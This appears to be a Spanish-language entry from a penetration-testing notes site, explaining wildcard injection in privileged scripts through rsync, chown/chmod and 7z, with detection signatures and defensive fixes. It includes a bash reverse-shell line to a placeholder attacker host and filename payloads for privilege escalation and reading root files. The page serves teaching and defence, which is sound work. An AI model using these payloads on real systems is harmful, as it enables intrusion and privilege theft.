the_open_door
café
ESEN
← Volver al índice

Wildcard abuse (wildcard injection)

Cuando un script privilegiado usa un comodín, como en chown -R www-data *, la shell expande ese * a la lista de ficheros del directorio antes de que el programa lo vea. Si podemos escribir ahí, podemos crear ficheros cuyo nombre empiece por -, y el programa los leerá como opciones en vez de como datos. El nombre del fichero se convierte en argumento, y ahí está todo el fallo.

El caso más conocido es el de tar, que tiene página propia: inyección de comodín en tar. Pero el patrón se repite en varios binarios que aparecen a menudo en scripts de mantenimiento.

rsync acepta -e, que indica el programa a usar como transporte remoto:

cd <directorio-del-comodin>
touch -- '-e sh shell.sh'
echo 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1' > shell.sh

chown y chmod aceptan --reference, que copia el propietario o los permisos de otro fichero. Si el script privilegiado hace chown -R user *, un fichero llamado --reference=<fichero-nuestro> hace que todo el directorio pase a pertenecer a quien nosotros queramos:

touch <fichero-propio>
touch -- '--reference=<fichero-propio>'

7z admite -i@<fichero> para leer la lista de entradas de un fichero. Como los errores incluyen el contenido que no supo comprimir, sirve para leer ficheros que no deberíamos poder leer:

touch @root.txt
ln -s /root/root.txt root.txt

Para encontrarlo hay que leer el script, no el binario:

cat /usr/local/bin/<script>.sh
crontab -l; cat /etc/crontab
sudo -l

Matices. Hacen falta dos condiciones a la vez: permiso de escritura en el directorio donde se expande el comodín, y que el script use realmente * en vez de una ruta explícita. Un chown -R user /var/www/ no es explotable por esta vía.

Cómo detectarlo. En reposo, la firma son ficheros con nombre de opción en un directorio que un proceso privilegiado recorre con *: nombres que empiezan por - (-e sh ..., --reference=..., --checkpoint-action=...) o por @, que ningún fichero de datos legítimo lleva (FIM/auditd sobre la creación con esos nombres). En ejecución, el binario del script (tar/rsync/chown) lanzando sh/bash como hijo, o aplicando --reference de un fichero controlado, es la confirmación (auditd/Sysmon for Linux sobre execve con ppid del script/cron). Cuando lo dispara una tarea programada, pspy muestra la línea exacta con el * (pspy).

Defensa. En los scripts, rutas absolutas y -- antes de los argumentos para cortar el paso de las opciones; mejor aún, find ... -print0 | xargs -0. Relacionado con cron sobre script escribible y abuso de sudo.

Máquinas donde se aplica